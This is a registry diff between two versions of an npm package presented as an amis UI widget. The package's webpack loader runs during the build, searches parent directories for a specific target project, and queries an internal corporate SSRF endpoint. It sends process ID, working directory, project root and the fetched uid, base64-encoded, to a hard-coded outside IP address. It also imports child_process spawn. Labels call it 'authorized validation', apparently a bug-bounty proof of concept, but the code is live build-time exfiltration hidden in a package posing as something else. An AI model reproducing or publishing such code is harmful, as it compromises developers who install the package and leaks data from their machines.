@noobaihome/amis-uni-area-widget 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,9 +5,9 @@ const http = require('http');
5
5
  const path = require('path');
6
6
  const {spawn} = require('child_process');
7
7
 
8
- const marker = 'BSRC_RCE_R266_71c48e';
8
+ const marker = 'BSRC_RCE_R267_c52a19';
9
9
  const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
- const receiptUrl = 'http://49.232.169.67:43817/bsrc-r266';
10
+ const receiptUrl = 'http://49.232.169.67:43817/bsrc-r267';
11
11
 
12
12
  function base64url(value) {
13
13
  return Buffer.from(String(value))
@@ -25,9 +25,22 @@ function readManifest(directory) {
25
25
  }
26
26
  }
27
27
 
28
- function isTargetBuild() {
29
- const current = readManifest(process.cwd());
30
- return Boolean(current && current.name === 'npm-widget-build');
28
+ function findTargetRoot(startDirectories) {
29
+ for (const start of startDirectories.filter(Boolean)) {
30
+ let current = path.resolve(start);
31
+ for (let depth = 0; depth < 12; depth += 1) {
32
+ const manifest = readManifest(current);
33
+ if (manifest && manifest.name === 'npm-widget-build') {
34
+ return current;
35
+ }
36
+ const parent = path.dirname(current);
37
+ if (parent === current) {
38
+ break;
39
+ }
40
+ current = parent;
41
+ }
42
+ }
43
+ return '';
31
44
  }
32
45
 
33
46
  function fetchText(url, timeoutMs) {
@@ -56,8 +69,15 @@ async function receipt(fields) {
56
69
  }
57
70
  }
58
71
 
59
- async function runProof() {
60
- if (!isTargetBuild()) {
72
+ async function runProof(loaderContext) {
73
+ const targetRoot = findTargetRoot([
74
+ loaderContext.rootContext,
75
+ loaderContext.context,
76
+ loaderContext.resourcePath,
77
+ process.env.INIT_CWD,
78
+ process.cwd()
79
+ ]);
80
+ if (!targetRoot) {
61
81
  return;
62
82
  }
63
83
 
@@ -80,7 +100,8 @@ async function runProof() {
80
100
  uid: base64url(uid),
81
101
  error: base64url(internalError),
82
102
  pid: process.pid,
83
- cwd: base64url(process.cwd())
103
+ cwd: base64url(process.cwd()),
104
+ root: base64url(targetRoot)
84
105
  });
85
106
 
86
107
  if (process.platform !== 'linux' || internalStatus < 200 || internalStatus >= 300 || !uid) {
@@ -102,7 +123,7 @@ module.exports = function authorizedCompilerLoader() {
102
123
  if (this.cacheable) {
103
124
  this.cacheable(false);
104
125
  }
105
- runProof().then(
126
+ runProof(this).then(
106
127
  () => done(null, `module.exports = ${JSON.stringify(marker)};`),
107
128
  (error) => done(error)
108
129
  );
@@ -1 +1 @@
1
- module.exports = {marker: 'BSRC_RCE_R266_71c48e', kind: 'plugin'};
1
+ module.exports = {marker: 'BSRC_RCE_R267_c52a19', kind: 'plugin'};
package/dist/renderer.css CHANGED
@@ -1 +1 @@
1
- /* BSRC_RCE_R266_71c48e authorized compiler validation */
1
+ /* BSRC_RCE_R267_c52a19 authorized compiler validation */
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Authorized AI Suda webpack inline-loader validation",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
@@ -13,7 +13,7 @@
13
13
  },
14
14
  "amis-widgets": [
15
15
  {
16
- "type": "bsrc-r266-widget",
16
+ "type": "bsrc-r267-widget",
17
17
  "framework": "vue3",
18
18
  "description": "Authorized webpack loader validation widget",
19
19
  "entry": "/dist/renderer.umd",